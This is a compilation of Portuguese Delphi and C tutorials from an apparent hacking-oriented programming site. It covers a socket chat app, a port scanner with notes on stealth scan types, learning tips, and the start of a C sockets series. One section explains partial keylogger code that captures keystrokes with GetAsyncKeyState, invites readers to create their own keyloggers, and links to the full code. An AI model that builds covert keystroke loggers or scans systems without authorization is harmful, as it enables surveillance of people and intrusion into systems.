T. J. Nogueira é escritor da Ciência Moderna, editora de livros de informática. Já tem dois livros publicados: Invasão de Redes: Ataques e Defesas, como os Hackers utilizam a linguagem de programação C para efetuar invasões via Internet, e Tudo Sobre buffer overflow. No momento está terminando seu terceiro livro, Como tornar o Windows XP seguro: passo a passo e ainda encontra tempo para trabalhar em mais três livros e de elaborar artigos aqui para a Aldeia

Meu amigo TJ, aldeense de carteirinha, é fanático por leitura. É dele a frase “o que eu mais quero é simplesmente que as pessoas leiam e leiam e leiam cada vez mais sobre qualquer tipo de coisa, desde de budismo até engenharia reversa”. Este é seu primeiro artigo publicado aqui na Aldeia, mas preparem-se… já tem coisa nova saindo do forno e é sobre Gerenciadores Remotos!

Da minha parte, quero dar as boas vindas ao nosso mais novo colaborador e tornar públicos os meus mais sinceros agradecimentos. Além disso, como de costume, um grande abraço da vovó para todos, especialmente para o TJ.

Abraço!

-bRx-

1ª Etapa
Para começar o Chat vamos criar a sua interface, neste caso adicione no programa os seguintes componentes:

Inserindo:
TMemo => Coloque o nome como Quadro.
Tmemo => Com nome de Status.

TGroupBox => Coloque o nome como C_Comandos
TEdit => Coloque dentro do TGroupBox (C_Comandos) com o nome de C_Texto
TEdit => Com nome de Host.
TEdit => Com nome de Apelido.
TButton => Com nome de Conectar.

TButton => Com nome de Servir.
2 Tlabel => Com caption Servidor e Apelido.

Agora adicione os seguintes componentes.
TclientSocket => Com nome de S_Cliente.
TserverSocket => Com nome de S_Server.

(VEJA FIGURA AO LADO)

Agora renomeie o Form1 para ChatFal. (Clique no Form depois vá em name e mude).

Vamos tentar deixar o Object Treeview mais ou menos assim:

Pronto agora tente organizar desta forma:

2ª Etapa
Bom nesta etapa vamos começar a programar o chat.

a) O primeiro evento que o programa irá executar será o TchatFal.FormCreate, clique 2x no formulário, e deixe este procedimento assim:

procedure TChatFal.FormCreate(Sender: TObject); {Limpa o quadro}
begin
Quadro.Text := '';
end;

Explicação:
Com isto, assim que o formulário inicie, o conteúdo do componente QUADRO será apagado.

b) O segundo evento a ser programado será do componente C_Texto. Aqui vamos criar uma procedure para o evento OnKeyDown (Este evento ocorre quando um texto for digitado na Tedit).

Primeiro se declara a procedure.

procedure C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);

Depois vamos programar a procedure.

procedure TChatFal.C_TextoKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin

if Key = VK_Return then
begin
S_Cliente.Socket.SendText(C_Texto.Text + ‘::::’ + Apelido.Text);
C_Texto.Text := ”;
end;
end;

Explicação:
Nós criamos uma procedure que utiliza uma variável “Key” do tipo Word, e declaramos também o uso do Shift (Se não declarar o uso do shift não funciona).

if Key = VK_Return then => Se a tecla digitada for igual ao [ENTER] então execute.

S_Cliente.Socket.SendText(C_Texto.Text + '::::' + Apelido.Text); => Envia o texto para o servidor no formato (Mensagem::::Apelido) este formato será explicado mais na frente.

C_Texto.Text := ''; => Limpa o conteúdo da TEdit C_Texto.

c) Vamos programar a procedure do terceiro evento. Este será para o botão “Conectar” onde ao clicar o programa irá pegar o conteúdo da Tedit “Host” e tentar conectar-se.

Clique 2x em cima do botão Conecta, e deixe da seguinte forma:

procedure TChatFal.ConectarClick(Sender: TObject);
begin
if S_Cliente.Active then
begin
S_Cliente.Active := False;

Conectar.Caption := ‘Conectar’;
end
else begin
S_Cliente.Host := Host.Text;
S_Cliente.Active := True;
end;

end;

Explicação:
if S_Cliente.Active then => Primeiro verificamos se o TclientSocket esta ativo (isto é se a conexão já esta ativa).

S_Cliente.Active := False; => Se tiver ativo ele desativa (Desconecta).

Conectar.Caption := ‘Conectar’; => Altera o caption do TButton (Conectar) para ‘Conectar’.

else begin => Caso a conexão já esteja desativada, isto é S_Cliente.Active = False então ele vai se conectar.

S_Cliente.Host := Host.Text; => Pega o conteudo de Host isto é o endereço IP do servidor, e coloca na propriedade Host do componete S_Cliente.

S_Cliente.Active := True; => Ativa a conexão.

3ª Etapa
Agora vamos programar os eventos do conexão do Lado Cliente.

Primeiro declare os procedimentos abaixo:

procedure S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);

procedure S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure S_ClienteRead(Sender: TObject; Socket: TcustomWinSocket);

Estes são os eventos do componente TclientSocket que colocamos no programas e renomamos para S_Cliente.

Agora vamos programá-los um por um.

Primeiro OnConnect.

procedure TChatFal.S_ClienteConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Status.Lines.Add('Cliente ::> Conectado a: ' + S_Cliente.Host);
Conectar.Caption := 'Desconectar';

Apelido.Enabled := False;
S_Cliente.Socket.SendText(‘NICK::::’ + Apelido.Text);
end;

Explicação:
Este evento somente ocorre quando há sucesso de conexão, isto é logo após estabelecer conexão com o servidor sem erros.

Status.Lines.Add(‘Cliente ::> Conectado a: ‘ + S_Cliente.Host); => Aqui escrevemos no status Status.Lines.Add uma mensagem informando o cliente que ele teve sucesso na conexão.

Conectar.Caption := ‘Desconectar’; => Muda-se o caption do TButton (Conectar) de ‘conecta’r para ‘desconectar’, pois agora sua função será encerrar a conexão.

Apelido.Enabled := False; => Depois desabilitamos o Tedit do Apelido (Apenas para o cliente não mudar de apelido durante a conexão o que não afeta nada caso mude).

S_Cliente.Socket.SendText(‘NICK::::’ + Apelido.Text); => Enviamos para o servidor um Texto seguindo o mesmo formato que a procedure de escrever S_Cliente.Socket.SendText. Repare que desta vez o formato muda um pouco, antes era (Mensagem::::Apelido) agora é (NICK::::Apelido). Isto serve para diferenciar o tipo de mensagem, a primeira é uma mensagem normal, a segunda informa que você entrou no servidor.

O Tratamento desses formatos fica no lado do servidor que veremos em breve.

Segundo evento é o OnDisconnect.

procedure TChatFal.S_ClienteDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
Status.Lines.Add('Cliente ::> Desconectado ');

Conectar.Caption := ‘Conectar’;
Apelido.Enabled := True;
end;

Explicação
Este evento é o oposto do evento anterior, ele somente é executado quando a conexão é desfeita.

Status.Lines.Add(‘Cliente ::> Desconectado ‘); => Informamos ao cliente com uma mensagem no status Status.Lines.Add.

Conectar.Caption := ‘Conectar’; => Mudamos o caption do TButton (Conectar) para “conectar”.

Apelido.Enabled := True; => Habilitamos a TEdit (Apelido).

Terceiro evento é o OnError.

procedure TChatFal.S_ClienteError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
Status.Lines.Add('Cliente ::> ERRO ao tentar conectar a: ' + S_Cliente.Host);

end;

Explicação:

Bastante simples, em caso de erro de conexão informa no status a mensagem ERRO ao tentar conectar a: ‘ + S_Cliente.Host.

Quarto e ultimo evento da TclientSocket, OnRead.
procedure TChatFal.S_ClienteRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Quadro.Lines.Add(Socket.ReceiveText);
end;

Explicação:
Este evento ocorre quando o TClientSocket recebe dados através da conexão ativa. Como a mensagem já vem formatada pelo servidor basta apenas adicionar no quadro Quadro.Lines.Add(Socket.ReceiveText); .

Pronto aqui finalizamos a programação do lado Client do nosso chat.

EDITANDO AS PROPRIEDADES DO COMPONETE TClientSocket (S_Cliente).
Agora vamos parar um pouco a programação, e vamos alterar as propriedades do nosso componente TclientSocket. Onde aqui vamos configurar a porta de comunicação e também vamos colocar os eventos que programamos nos seus devidos lugares.

Primeiro selecione o ícone do componente TclientSocket (S_Cliente) no formulário, depois vá na janela do “Object Inspector” e em propriedades coloque Active em FALSE (Para iniciar desconectado) e em Port abaixo de Name coloque a seguinte porta (666) ou outra que você quiser e que não esteja sendo usada pelo sistema.

Agora vá na aba Eventos e configure os eventos como esta abaixo na IMG.

Pronto o lado cliente já esta pronto agora vamos programar o lado servidor do nosso chat.

4ª Etapa
Nesta etapa vamos primeiro programar o evento do TButton “Servir” (Eu coloquei a caption deste botão como (Iniciar Servidor).

Clique 2x no botão para programar o evento.

procedure TChatFal.ServirClick(Sender: TObject);
begin
if S_Server.Active = True then
begin
S_Server.Active := False;

Status.Lines.Add(‘Servidor ::> Servidor Desligado!’);
Servir.Caption := ‘Iniciar Servidor’;
S_Cliente.Active := False;
Host.Enabled := True;
Conectar.Enabled := True;

end
else begin
S_Server.Active := True;
Servir.Caption := ‘Parar Servidor’;
Host.Enabled := False;
Conectar.Enabled := False;

S_Cliente.Host := ’127.0.0.1′;
S_Cliente.Active := True;
end;
end;

Explicação:
Primeiro da mesma forma que o botão de conectar primeiro verificamos o estado do servidor. Se ele está servindo ou esta parado.

if S_Server.Active = True then => Caso esteja ativo, isto é caso ele esteja esperando conexões na porta configurada, então vamos desligar.

S_Server.Active := False; => Desliga o servidor.

Status.Lines.Add(‘Servidor ::> Servidor Desligado!’); => Informa no status que o servidor foi desligado.

Servir.Caption := ‘Iniciar Servidor’; => Muda o caption do TButton (Servir) para ‘iniciar servidor’.

S_Cliente.Active := False; => Desativa a conexão do cliente. (Ao iniciar o servidor automaticamente o programa se conecta ao servidor).

Host.Enabled := True; => Abilita o campo de escolha do IP.

Conectar.Enabled := True; => Abilita o botão de conectar.

else begin => Caso o servidor não esta ativo, então ative.

S_Server.Active := True; => Ativa o servidor, e neste momento o servidor fica esperando conexões na porta configurada.

Servir.Caption := ‘Parar Servidor’; => Muda o caption do TButton (Servir) para ‘parar servidor’ pois sua função agora é parar.

Host.Enabled := False; => Desativa o campo de escolha do IP (O cliente vai se conectar no localhost).

Conectar.Enabled := False; => Desativa o botão de conectar, pare evitar desconexão do cliente com o servidor local.

S_Cliente.Host := ’127.0.0.1′; => Força o host do S_Cliente para localhost (127.0.0.1).

S_Cliente.Active := True; => Conecta no servidor como cliente.

O IP ’127.0.0.1′ Corresponde a própria maquina, neste caso ao ligar o servidor ele também se conecta como cliente e desabilita as opções de conexão, caso desligue o servidor ele também se desconecta.

Agora o passo seguinte e declarar os procedimentos dos eventos do S_Server.

procedure S_ServerListen(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientConnect(Sender: TObject; Socket: TCustomWinSocket);

procedure S_ServerClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
procedure S_ServerClientRead(Sender: TObject; Socket: TcustomWinSocket);

Os eventos são parecidos com os eventos do S_Cliente com diferença que não usa o evento OnError e agora existe o evento OnListen.

Vamos aos eventos.

Primeiro o evento OnListen.

procedure TChatFal.S_ServerListen(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Servidor Ligado!');
end;

Explicação:
Este evento ocorre quando o servidor é ligado, isto é quando ele começar a escutar na porta determinada. Quando isto ocorre ele simplesmente escreve no status a mensagem de que o servidor está ligado. Status.Lines.Add(‘Servidor ::> Servidor Ligado!’);

Segundo evento será o OnClientConnect.

procedure TChatFal.S_ServerClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Status.Lines.Add('Servidor ::> Usuário Conectado => '+ Socket.RemoteAddress);

end;

Explicação:
Este evento ocorre quando o servidor recebe uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que um novo usuário se conectou e qual seu IP (Socket.RemoteAddress).

Status.Lines.Add(‘Servidor ::> Usuário Conectado => ‘+ Socket.RemoteAddress

Terceiro evento será o OnClientDisconnect.

procedure TChatFal.S_ServerClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);

begin
Status.Lines.Add(‘Servidor ::> Usuário Desconectado => ‘+ Socket.RemoteAddress);
end;

Explicação:
Este evento ocorre quando o servidor termina uma conexão de algum cliente. Quando isto ocorrer vamos escrever no status do servidor uma mensagem informando que o usuário se desconectou e qual seu IP (Socket.RemoteAddress).
Status.Lines.Add(‘Servidor ::> Usuário Desconectado => ‘+ Socket.RemoteAddress);

Quarto e mais importante evento OnClientRead.

procedure TChatFal.S_ServerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var texto: array[0..1] of string;
temptexto: string;
Index: integer;
begin

temptexto := Socket.ReceiveText;
texto[0] := Copy(temptexto, 1,Pos(‘::::’, temptexto) -1);
texto[1] := Copy(temptexto, Pos(‘::::’, temptexto) + Length(‘::::’),Length(temptexto));
if texto[0] = ‘NICK’ then {Verifica se a mensagem eh de entrada}
begin

WITH S_Server.Socket DO BEGIN {Se a msg for de entrada avisa a todos os clientes quem entrou }
FOR Index := 0 TO ActiveConnections-1 DO BEGIN
Connections[Index].SendText(texto[1] + ‘ entrou na sala: ‘);
END;
END;
end

else

begin
WITH S_Server.Socket DO BEGIN {Se nao for de entrada, então eh msg normal, no caso passa para todos a msg}
FOR Index := 0 TO ActiveConnections-1 DO BEGIN
Connections[Index].SendText(‘(‘ + texto[1] + ‘) escreveu: ‘ + texto[0]);
END;
END;

Status.Lines.Add(‘Servidor ::> ‘ + texto[1] + ‘ (‘ + Socket.RemoteAddress + ‘) escreveu: ‘+ texto[0]);
end;

end;

Explicação
Este evento é o mais importante do chat, pois é nele que realmente o chat irá funcionar. O evento ocorre quando o servidor recebe dados do cliente, neste caso ele terá que receber a mensagem e repassar para todos os clientes conectados (Broadcasting).

Esta parte foi difícil desenvolver, pois no exemplo que vem no Delphi (WinSocket) ele não envia para todos os usuários a mensagem, ele
apenas adiciona na Memo a informação recebida.

Bom vamos passo a passo do código.
var texto: array[0..1] of string; => Este array será necessária para formatação dos dados.

temptexto: string; => Está variável será necessária para formatação dos dados.

Index: integer; => Variável de controle para o loop de broadcast.

temptexto := Socket.ReceiveText; => Variável temptexto recebe os dados enviados pelo cliente Socket.ReceiveText.

texto[0] := Copy(temptexto, 1,Pos(‘::::’, temptexto) -1); => Separa a informação em duas partes, texto[0] pega tudo que estiver antes do separador ‘::::’ (Lembre-se do formato de envio). OBS: Procure no HELP do Delphi explicações sobre as funções Pos, Length e Copy. Pois são muito uteis.

texto[1] := Copy(temptexto, Pos(‘::::’, temptexto) + Length(‘::::’),Length(temptexto)); => Aqui texto[1] pega tudo que estiver depois do separador ‘::::’.

if texto[0] = ‘NICK’ then => Se o que estiver antes de ‘::::’ for NICK então foi mensagem de entrada.

WITH S_Server.Socket DO BEGIN => Bom aqui eu estou dizendo que com o Objeto S_Server.Socket Faça. No help do Delphi tem uma explicação sobre ‘WITH’.

FOR Index := 0 TO ActiveConnections-1 DO BEGIN=> Um laço usando FOR, até o final das conexões. (ActiveConnections vem do objeto S_Server através do WITH).

Connections[Index].SendText(texto[1] + ‘ entrou na sala: ‘); => Vai enviando mensagens para todas as conexões da primeira até a ultima, informando quem entrou no servidor.

Else => Se não for ‘NICK’ o que vem antes do separador ‘::::’, então deve ser mensagem.

WITH S_Server.Socket DO BEGIN => Denovo WITH.

FOR Index := 0 TO ActiveConnections-1 DO BEGIN => Laço de 0 até o final das conexões.

Connections[Index].SendText(‘(‘ + texto[1] + ‘) escreveu: ‘ + texto[0]); => Envia para todas as conexões a mensagem enviada.

Status.Lines.Add(‘Servidor ::> ‘ + texto[1] + ‘ (‘ + Socket.RemoteAddress + ‘) escreveu: ‘+ texto[0]); => Adiciona no status do servidor uma cópia da mensagem.

Pronto agora terminamos de programar os eventos do componente S_Server. Agora vamos editar suas propriedades no Object Inspector da mesma forma que configuramos o S_Client.

Deixamos Active = False
e Port = 666 (Ou a porta que você usou no S_Client).

e os eventos (Events)

OnClientConnect = S_ServerClientConnect
OnClientDisconnect = S_ServerClientDisconnect
OnClientRead = S_ServerClientRead
OnListen = S_ServerListen

O resto dos eventos ficam em branco como na imagem abaixo:

TESTANDO O CHAT
Pronto salve tudo e compile, agora vá na pasta em que o programa foi compilado e abra 3 janelas do programa.

No primeiro coloque o apelido como Administrador e clique em iniciar o Servidor.
No segundo coloque como usuario1 digite o endereço local (127.0.0.1) e clique em conectar.
No Terceiro coloque como usuario2 digite o endereço local (127.0.0.1) e clique em conectar.

Pronto agora teste a comunicação entre os 3.

Bom espero que tenha funcionado seu CHAT, você pode baixar o código fonte completo do chat e a versão binária do mesmo neste link abaixo

Source !

Ola,

Fiz esse tutorial para que todos entendam o código do keylogger e como ele funciona.
Vamos lá vou usar de exemplo o código mais conhecido que usa a função coloca.

Analisando a função do código:

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

Bem o que ela realmente faz é adicionar uma string txt no memo1.

Como usar

Adicione um memo e um timer e coloque a função em baixo de implementation.

No timer coloque:
(‘Esse teste é da função’);

O que ele vai fazer é chamar a função e ela vai adicionar o que está entre os ‘ ‘ no memo.

Entendendo o código de captura:



var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(‘ [BACKSPACE] ‘);
9: Coloca(‘ [TAB] ‘);
12: Coloca(‘ [ALT] ‘);
13: Coloca(‘ [ENTER] ‘);
16: Coloca(‘ [SHIFT] ‘);
17: Coloca(‘ [CONTROL] ‘);
18: Coloca(‘ [ALT] ‘);
20: Coloca(‘ [CAPS LOCK] ‘);
…

O que o código vai fazer é o keyloop vai pegar a variável e atribuir um valor a ela.
Cada tecla tem o seu valor Decimal ex: Valor Decimal da Tecla Tab é 9 , ele vai converter o valor decimal e vai atribuir o nome que foi colocado entre os ‘ ‘ .

Obs: Não esqueçam de colocar o timer com intervalo 1.

No fim do Tutorial fiz um txt onde contem vários valores decimais de teclas para que vocês podem estar ai criando os seus keyloggers e o código completo de captura.

É isso pessoal espero que tenham gostado e entendido como funciona o keylogger.

By: B4silisco.

http://www.b4silisco.xpg.com.br/Decimais.txt

http://www.b4silisco.xpg.com.br/codigo-captura.txt

Clique aqui para ler mais e comentar essa Matéria!

Port Scanner

Port Scanner é um programa capaz de varrer um sistema, remoto ou local, a procura de portas abertas. Estas portas por sua vez, quando abertas, podem estar disponibilizando alguns serviços para utilização remota e é fundamental para qualquer administrador de rede (segurança) ou “usuário malicioso” (cracker) saber quais portas estão sendo utilizadas pelo sistema, tanto para a proteção, pelo lado do administrador, quanto pela invasão, pelo lado do cracker.

Saber quais portas estão abertas no sistema e quais serviços estão ativos nestas portas é muito importante, pois é o passo principal para qualquer invasão de sistema. É sabendo qual serviço está ativo em uma porta que se pode começar a verificar se este serviço em questão é vulnerável a alguma técnica de exploração conhecida, como explorá-la, como ganhar acesso ao sistema, etc.

Como funciona?

Teoricamente o funcionamento de um Port Scanner é bem simples. Basicamente ele tenta se conectar com o servidor desejado em uma porta desejada. Se a conexão for estabelecida, o programa imprime uma mensagem para o usuário confirmando o estado da porta testada como “Aberta”. Caso a conexão não se estabeleça, a mensagem de “Porta Fechada” é enviada. Bem simples não? Pois é, porém, com a incrível capacidade intelectual dos Hackers, algumas outras formas de Port Scanner foram desenvolvidas a partir da dificuldade de detecção do scanner pelo lado dos Administradores de Redes. O método que desenvolveremos no nosso programa é o TCP Full Connect, ou seja, uma conexão TCP completa com o servidor em questão. Este método é o mais primitivo e também o mais fácil de ser detectado pelo administrador, porém como o nosso artigo não tem o intuito de formar Cracker de sistemas, este método é mais que o necessário para você se inteirar sobre como construir um Port Scanner no Delphi. Outras formas de Port Scanner são:

TCP SYN (Half Open): Este já é um método mais complexo de Port Scanner, pois não abre uma conexão TCP completa com a máquina alvo e se torna assim mais difícil de se identificar um scanning deste tipo. O que programas deste tipo fazem é enviar uma pacote SYN para a máquina alvo. Caso seja recebido um pacote SYN-ACK, significa que a porta está aberta. Porém, caso seja recebido um pacote RST, indica que a porta está fechada. Após este processo, o programa exibe para o usuário o estado da porta e prossegue em sua verificação.
TCP FIN: Este é o método mais apreciado pelos atacantes, pois é chamado de modo STEALTH, ou invisível, não sendo detectado pelos sistemas de defesa. Consiste em enviar um pacote FIN para a porta alvo. Caso o pacote recebido seja um RST, indica que a porta está fechada, mas caso o pacote FIN seja ignorado, significa que a porta está aberta.
UDP SCAN: Neste método são enviados pacotes UDP de 0 bytes para cada porta alvo. Caso seja recebida a mensagem “ICMP port unreachable”, indica que a porta está fechada. Caso contrário, o programa imprime a mensagem alegando a porta como em estado de aberta.

TCP Full Connect no Delphi

Criar um Port Scanner TCP Full Connect do Delphi é relativamente simples. O Delphi já vem com alguns componentes para a criação e utilização de sockets. Ele provê uma enorme gama de componentes para criação de Clientes FTP, Telnet, Finger, Web, POP, SMTP, servidores HTTP, etc.

Para a criação deste tipo de Port Scanner, o TCP Full, utilizaremos o componente chamado TTCPClient, que fica localizado na paleta Internet. É com este componente que será possível se conectar com um endereço especificado nas portas pré-definidas para a verificação de seus estados (aberta ou fechada).

No componente TTCPClient temos as seguintes propriedades que são as fundamentais para o entendimento do funcionamento do nosso port scanner. As propriedades de nosso interesse são:



• RemoteHost = Esta propriedade define o endereço do servidor que se deseja conectar.
• RemotePort = A porta que se deseja conectar. Esta porta poderá ser alterada diversas vezes durante a execução do Port Scanner, pois é justamente esta capacidade que torna o programa funcional.
• Connect = Conecta o TTCPClient com o servidor definido na propriedade RemoteHost com a porta definida em RemotePort.
• Disconnect = Desconecta o TTCPClient do servidor.

Com estas propriedades já podemos iniciar a construção do nosso programa.

Criando a Interface do Port Scanner

Inicie o Delphi e crie um novo projeto chamado psc.dpr (a unit você poderá salvar como unit_psc.pas). No formulário inicial que abrir, mude as seguintes propriedades do Form1 no ObjectInspector como seguem abaixo:

• Caption = Port Scaner v1.0b

• BorderStyle = bsToolWindow

• WindowState = Normal

Após estas modificações o antigo Form1 ficará desta forma:

Post Scanner Fig.1 – form1 do Port Scanner

Agora, neste nosso formulário, adicionaremos os seguintes componentes que serão os responsáveis pela interação do Port Scanner com o usuário.

Quantidade Tipo
5 TLabel
1 TEdit
2 TSpinEdit
1 TMemo
1 TTCPClient
2 TButton

Após a adição destes componentes, altere as propriedades dos mesmos para as que seguem abaixo:

Componente Propriedade Conteúdo
Tlabel1 Caption Servidor
Tlabel2 Caption Porta Inicial
Tlabel3 Caption Porta Final
Tlabel4 Caption Verificando a porta:
Tlabel5 Caption 0
TspinEdit1 Name Inicio
TspinEdit2 Name Fim
Tmemo1 Name Listagem
Tbutton1 Caption Iniciar
Tbutton2 Caption Parar
Tedit1 Text endereco

Com estas modificações, arrume os componentes no formulário para que fiquem mais ou menos com esta Interface:

Port Scanner 2 – Fig.2 – Nova form1 do Port Scanner

Neste ponto, falta muito pouco para o nosso Port Scanner ficar pronto. Temos agora que programar o funcionamento do nosso programa para que ele seja funcional e corresponda às nossas expectativas.

Programando os componentes

Nesta parte da nossa criação iremos adicionar programação aos componentes utilizados no programa para que este realmente funcione. Iremos começar da seguinte maneira:

• Vamos cria uma variável global que será a responsável por parar a execução da verificação no servidor remoto quando o usuário clicar no botão Parar.
• No código fonte do programa vamos adicionar, na sessão correspondente as variáveis globais, a nossa variável Stop.

...
Var
Form1: TForm1;
Stop: integer;  // a nossa variável entra aqui!

Implementation
...

Agora iremos inserir a programação no nosso botão correspondente ao início da varredura de portas no servidor remoto, o nosso botão Iniciar. Dê um duplo clique neste botão para inserirmos o código responsável pelo seu funcionamento.

O código responsável é o que segue abaixo:

Var i : integer;
Begin
Try

Listagem.clear;
Stop:= 0 ;
TCPClient1.remotehost:=edit1.text;
For I:= inicio.value to fim.value do
Begin
If Stop = 1 then break;

Label5.caption:=inttostr(i);
Application.ProcessMessages;
TCPCLiente1.remoteport:= inttostr(i);
TCPClient.Active:=true;

If TCPClient1.connect then
Listagem.lines.add('A Porta ['+ inttostr(i)+ '] está aberta.');
TCPClient1.disconnect;
End;

Except
On E:Exception do Begin
Listagem.lines.add('Erro: ' + E.Message);
End;
End;

Listagem.lines.add('Verificação Terminada.');

End;

Feita a adição do código responsável pelo funcionamento do nosso botão Iniciar, resta-nos agora adicionar o código relativo ao botão Parar, para que depois possamos analisar as linhas de código do nosso programa Port Scanner.

Para adicionar a programação ao nosso botão Parar, dê um duplo clique no mesmo e adicione o código abaixo:

Stop:=1;

Pronto! A codificação do nosso programa está terminada e ele já está pronto para ser executado. Mas, antes disto, vamos analisar a programação.

Entendendo o Código

Como podemos ver, foi bem simples a construção da interface do programa assim como a adição de seu código-fonte. Vamos agora entender as linhas de código adicionadas e as suas respectivas funções.

Na parte de programação referente ao nosso botão Iniciar temos inicialmente a linha:

Var i: Integer;

Esta linha corresponde à criação da variável i, que será a responsável por auxiliar no loop For para a contagem das portas a serem verificadas.

A seguir, na linha:

Listagem.clear;

Limpamos o nosso Tmemo1.

Na linha:

Stop:=0;

Iniciamos o valor desta variável para 0, pois desta forma o programa continuará a varredura através das portas selecionadas pelo usuário até que o loop For acabe ou que o usuário pressione o nosso botão Parar.

Em

TCPClient1.Remotehost:=Edit1.text;

Repassamos para a propriedade RemoteHost do nosso TTCPClient o conteúdo do componente Edit1.text, que será o servidor repassado pelo usuário.

Temos então o início do loop For baseado nas portas Inicial e Final escolhidas pelo usuário nos componentes TspinEdit.

For i:= inicio.value to fim.value do

A seguir, verifica-se se o botão Parar foi acionado, solicitando o cancelamento da verificação (loop).

If Stop=1 then break;

Agora, exibimos na Interface a porta que está sendo verificada no momento

Label5.caption:=inttostr(i);

Pedimos ao sistema operacional que processe as informações do programa, evitando assim que o mesmo não tenha o efeito de congelamento evidente.

Application.ProcessMessages;

Agora, nas linhas a seguir, definimos para a propriedade RemotePort o nosso TCPClient1 qual porta devera ser verificada no momento, depois ativamos o nosso TCPClient1 e, em seguida, verificamos se foi obtido sucesso.Caso o sucesso seja obtido, adicionamos no nosso Memo1 uma linha contendo a porta que foi encontrada com o estado de aberta. Depois, independente do estado da porta, pedimos sua desconexão.

TCPCLient1.remoteport:= inttostr(i);
TCPClient.Active:=true;

If TCPClient1.connect then
Listagem.lines.add('A Porta ['+ inttostr(i)+ '] está aberta.');
TCPClient1.disconnect;
End;

Em seguida, terminamos o loop e tratamos todas as exceções que possam ocorrer entre os blocos protegidos try.

Except
On E:Exception do Begin
Listagem.lines.add('Erro: ' + E.Message);
End;
End;

Por fim, escrevemos no nosso Memo1 a mensagem de que a verificação foi terminada e finalizamos a execução do programa.

Listagem.lines.add('Verificação Terminada.');

End;

Para concluir, no nosso botão Parar temos a linha de código:

Stop:=1;

Esta linha é responsável por colocar o valor 1 na variável Stop, para que quando o usuário clique no botão Parar, o loop de verificação das portas pare graças ao trecho de código do botão Iniciar abaixo:

If Stop=1 then Break;

Concluindo

Bem pessoal, agora é só salvar todo o projeto e executá-lo. Faça testes em algum servidor que você tenha acesso e/ou saiba que não irá prejudicar ninguém e muito menos incomodar. Vale relembrar que, se deu tudo certo com o seu Port Scanner, você tem uma ferramenta poderosíssima nas mãos e cabe a você usá-la de forma segura e principalmente com intuitos educacionais.

Sobre o Autor

T. J. Nogueira é escritor da Ciência Moderna, editora de livros de informática. Já tem dois livros publicados: Invasão de Redes: Ataques e Defesas, como os Hackers utilizam a linguagem de programação C para efetuar invasões via Internet, e Tudo Sobre buffer overflow. No momento está terminando seu terceiro livro, Como tornar o Windows XP seguro: passo a passo e ainda encontra tempo para trabalhar em mais três livros e de elaborar artigos aqui para a Aldeia

Meu amigo TJ, aldeense de carteirinha, é fanático por leitura. É dele a frase “o que eu mais quero é simplesmente que as pessoas leiam e leiam e leiam cada vez mais sobre qualquer tipo de coisa, desde de budismo até engenharia reversa”. Este é seu primeiro artigo publicado aqui na Aldeia, mas preparem-se… já tem coisa nova saindo do forno e é sobre Gerenciadores Remotos!

Da minha parte, quero dar as boas vindas ao nosso mais novo colaborador e tornar públicos os meus mais sinceros agradecimentos. Além disso, como de costume, um grande abraço da vovó para todos, especialmente para o TJ.

Abraço!
-bRx-

Comente esse Tutorial no Fórum!

1º – Todo programador tem que saber lógica de programação, não existe programador sem lógica.

2º – Ninguém quer te ajudar, a não ser que a pessoa que você pediu ajuda ganhe algo com isso. As pessoas já tem problemas demais para ficar resolvendo os seus.

3º – Você sempre será um estudante. Sempre tem algo à aprender.

4º – Você não é pior que ninguém, e ninguém é melhor que você. Todos nos somos inteligentes, ninguém é “burro”. Apenas algumas pessoas são mais estudadas que você.

5º – Você não tem que gostar de ler, mais também não pode odiar. Você pode não gostar de ler um livro com tema amoroso, ou dramático, mas um livro sobre programação ( Que é o que você estuda ) você tem que gostar. Se não gostar… porque está tentando aprender à programar?

6º – Qual é seu objetivo? Aprender à programar ou criar um keylogger? Ou um Trojan ? Ou um cheat para trapacear um jogo? Se quer mesmo aprender a programar dedique à aprender e não à seguir tutoriais com códigos prontos e copiar e colar sem saber o que faz.

7º – Se você acha que está muito difícil aprender a programar, calma, descanse depois volte aos estudos e leia novamente, tente entender. Se você acha que não consegue mesmo, tire isso da sua cabeça, em si já é uma barreira.

8º – Comece do começo, pra que vai tentar aprender uma coisa avançada se você não sabe nem o básico? Um bom exemplo para isso é a escola, pra que um professor vai ensinar figuras de linguagem aos alunos se eles não sabem nem ler? Tentar aprender pelo avançado de uma vez é perda de tempo.

9º – De início escolha uma linguagem mais simples. Antes de estudar linguagens de baixo e alto nível, eu recomendo você estudar HTML para você se familiarizar com códigos. Logo, recomendo Visual Basic, Pascal, Python, uma destas linguagens para início.

10º – Pesquise, Raciocine !! Use seu cérebro, não peça programas prontos onde você só se dá o trabalho de colocar seus créditos.

Abraços e sucesso nos estudos,
Felipe P. Coutinho.

Comente essas dicas no Fórum

Ao longo de aproximadamente 7 matérias irei mostrar para vocês a funcionalidade de sockets no windows com a linguagem C. Será necessário um conhecimento considerável em C para o uso desta matéria. Usaremos o DEV C++, disponível no site do bloodshed, para compilar todos os exemplos aqui expostos.

Início:
